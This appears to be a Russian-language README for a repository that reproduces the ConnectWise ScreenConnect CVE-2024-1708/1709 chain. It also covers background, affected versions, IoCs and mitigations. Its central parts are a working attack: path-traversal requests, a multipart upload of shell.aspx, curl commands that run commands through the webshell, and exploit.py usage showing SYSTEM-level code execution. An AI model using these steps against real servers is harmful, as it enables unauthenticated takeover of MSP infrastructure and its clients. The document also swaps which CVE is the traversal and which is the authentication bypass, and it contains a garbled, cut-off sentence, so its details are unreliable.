
Воспроизведение cve-2024-1708-connectwise_rce_reproduction
Оценка CVSS: 8.4 (CVE-2024-1708) – 10.0 (CVE-2024-1709)
CWE: CWE-22 (Path Traversal), CWE-288 (Обход аутентификации с использованием альтернативного пути)
Затронутое ПО: ConnectWise ScreenConnect (ранее ScreenConnect) ≤ 23.9.7
Обнаружено и сообщено: февраль 2024 года
Эксплуатировалось в дикой природе: LockBit, Black Basta, Bl00dy и другие филиалы программ-вымогателей
CVE-2024-1708 и CVE-2024-1709 — это связка из двух уязвимостей в ConnectWise ScreenConnect (ранее ConnectWise Control), которые вместе позволяют неаутентифицированному удалённому злоумышленнику добиться полного удалённого выполнения кода на сервере ScreenConnect.
CVE-2024-1708 — Обход аутентификации через Path Traversal. Конечная точка SetupWizard.aspx (и связанные с ней конечные точки установки/обновления) не выполняет надлежащую санитизацию пользовательских последовательностей обхода пути (../). Неаутентифицированный злоумышленник может выйти за пределы предназначенного каталога установки и получить доступ к конечным точкам, которые должны требовать аутентификацию. Поскольку мастер запускается в контексте учётной записи SYSTEM (Windows) или root (Linux), злоумышленник наследует повышенные привилегии.
CVE-2024-1709 — Неограниченная загрузка файла, приводящая к RCE. После обхода аутентификации злоумышленник может загрузить произвольный .aspx или другой исполняемый файл в корень веб-приложения. Затем, запросив загруженный файл, он выполняет произвольный код на сервере.
Эти уязвимости массово эксплуатировались начиная с 19 февраля 2024 года несколькими группами программ-вымогателей:
| Группа программ-вымогателей | Особенности кампании |
|---|---|
| LockBit | Широкое сканирование экземпляров ScreenConnect; использовалось для последующего развёртывания шифровальщика LockBit. |
| Black Basta | Использовала доступ к MSP для перехода во внутренние сети управляемых клиентов. |
| Bl00dy | Кампании меньшего масштаба, направленные на незапатченные серверы ScreenConnect. |
Поскольку ScreenConnect обычно разворачивается поставщиками управляемых услуг (MSP) для удалённого управления сотнями конечных точек клиентов, один скомпрометированный сервер ScreenConnect позволяет провести атаку на цепочку поставок — под угрозой оказывается каждый клиент, агент которого подключён к этому серверу ScreenConnect.
Сервер ScreenConnect предоставляет мастер установки по адресу:
/SetupWizard.aspx/
В определённых состояниях обновления/восстановления сервер не применяет аутентификацию, поскольку предполагает, что мастер установки — это интерфейс первого запуска. Критический недостаток заключается в том, как сервер обрабатывает cookie __Session или заголовки Transfer-Encoding / Content-Type при доступе к путям в пространстве имён мастера.
Отправив запрос на:
/SetupWizard.aspx/../../ScreenConnect/Login.aspx
обход пути отменяет контекст «мастера установки», в то время как сервер по-прежнему считает применимым контекст неаутентифицированной сессии. Злоумышленник перенаправляется или получает страницы так, как если бы он был аутентифицирован.
Альтернативный вектор: обработчики PrepareUpgrade.aspx / PostUpgrade.aspx аналогичным образом не имеют проверок аутентификации и предоставляют функциональность загрузки файлов.
Как только злоумышленник достигает аутентифицированной конечной точки (или напрямую обращается к обработчику загрузки файлов в контексте установки), он может загрузить вредоносный веб-шелл .aspx:
POST /SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx
Content-Type: multipart/form-data; boundary=----BOUNDARY
------BOUNDARY
Content-Disposition: form-data; name="file"; filename="shell.aspx"
Content-Type: application/octet-stream
<%@ Page Language="C#" %>...
------BOUNDARY--
Файл записывается в каталог веб-приложения (например, C:\Program Files\ScreenConnect\Website\). Запрос загруженного шелла выполняет его в контексте учётной записи сервера.
SetupWizard.aspx доверяет тому, что любой запрос в пределах его маршрута является частью процесса установки и должен обходить аутентификацию, — но обход пути разрушает это допущение.../ или обхода символьных ссылок.| Диапазон версий | Статус |
|---|---|
| 23.9.7 и ниже | Уязвимы |
| 23.9.8 | Исправлено (выпущено 20 февраля 2024 г.) |
| 23.9.9 | Исправлено |
| 23.9.10 (актуальная) | Исправлено |
Примечание: Основными целями являются самостоятельно размещённые (on-premise) серверы ScreenConnect. Экземпляры ScreenConnect, размещённые в ConnectWise (облачные), были исправлены до публичного раскрытия и никогда не были уязвимы.
C:\Program Files\ScreenConnect\/opt/screenconnect/# Проверка версии
curl -s http://<target>:8040/ | Select-String "ScreenConnect"
Или откройте веб-интерфейс и обратите внимание на номер версии в исходном коде страницы.
curl -v --path-as-is "http://<target>:8040/SetupWizard.aspx/../../ScreenConnect/Login.aspx"
Ожидаемое поведение на уязвимом сервере:
curl -X POST "http://<target>:8040/SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx" \
-H "Content-Type: multipart/form-data; boundary=----BOUNDARY" \
-F "[email protected]"
curl "http://<target>:8040/shell.aspx?cmd=whoami"
Прилагаемый скрипт exploit.py автоматизирует описанные выше шаги:
usage: exploit.py [-h] -t TARGET [-p PORT] [-c COMMAND] [--ssl]
Exploit CVE-2024-1708/1709 - ConnectWise ScreenConnect Auth Bypass + RCE
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target hostname or IP
-p PORT, --port PORT Target port (default: 8040)
-c COMMAND, --command COMMAND
Command to execute (default: whoami)
--ssl Use HTTPS
Example:
python exploit.py -t 192.168.1.100 -p 8040 -c "whoami"
$ python exploit.py -t 192.168.1.100 -c "whoami"
[*] Target: 192.168.1.100:8040
[*] Using SSL: False
[*] Step 1: Testing path traversal for auth bypass...
[+] Target appears vulnerable! Server version: 23.9.7
[*] Step 2: Uploading webshell...
[+] Webshell uploaded to: http://192.168.1.100:8040/PoCsAccSwLgSdE.aspx
[*] Step 3: Executing command 'whoami'...
[+] Output:
nt authority\system
Найдите следующие IoC в журналах веб-сервера:
GET /SetupWizard.aspx/../../ScreenConnect/
POST /SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx
GET /*.aspx?cmd=
Этот репозиторий предоставляется только в образовательных целях и для авторизованных исследований в области безопасности. Несанкционированное тестирование систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения, является незаконным. Авторы не несут ответственности за неправомерное использование этой информации.
| Мера | Реализация |
|---|
| Правила WAF | Блокировать запросы, содержащие ../ в пути URL после /SetupWizard.aspx/ |
| Сетевая сегментация | Разместите ScreenConnect в отдельной управляющей VLAN со строгой фильтрацией исходящего трафика |
| Контроль доступа | Ограничьте доступ к веб-интерфейсу ScreenConnect только доверенными диапазонами IP |
| Мониторинг | Создавайте оповещения о запросах к /SetupWizard.aspx/ из внешних источников или о неожиданном создании файлов .aspx в ScreenConnect\Website\ |
| MFA | Хотя MFA не остановит эту атаку (обход аутентификации происходит до входа в систему), применяйте её для всех административных учётных записей в рамках эшелонированной защиты |
| Источник | URL |
|---|
| NVD - CVE-2024-1708 | https://nvd.nist.gov/vuln/detail/CVE-2024-1708 |
| NVD - CVE-2024-1709 | https://nvd.nist.gov/vuln/detail/CVE-2024-1709 |
| Бюллетень безопасности ConnectWise | https://www.connectwise.com/company/trust/security-advisories |
| Huntress Labs - Первоначальное раскрытие | https://www.huntress.com/blog/mass-exploitation-of-connectwise-screenconnect |
| CISA Known Exploited Vulnerabilities | https://www.cisa.gov/known-exploited-vulnerabilities |
| Техника ATT&CK: External Remote Services (T1133) | https://attack.mitre.org/techniques/T1133/ |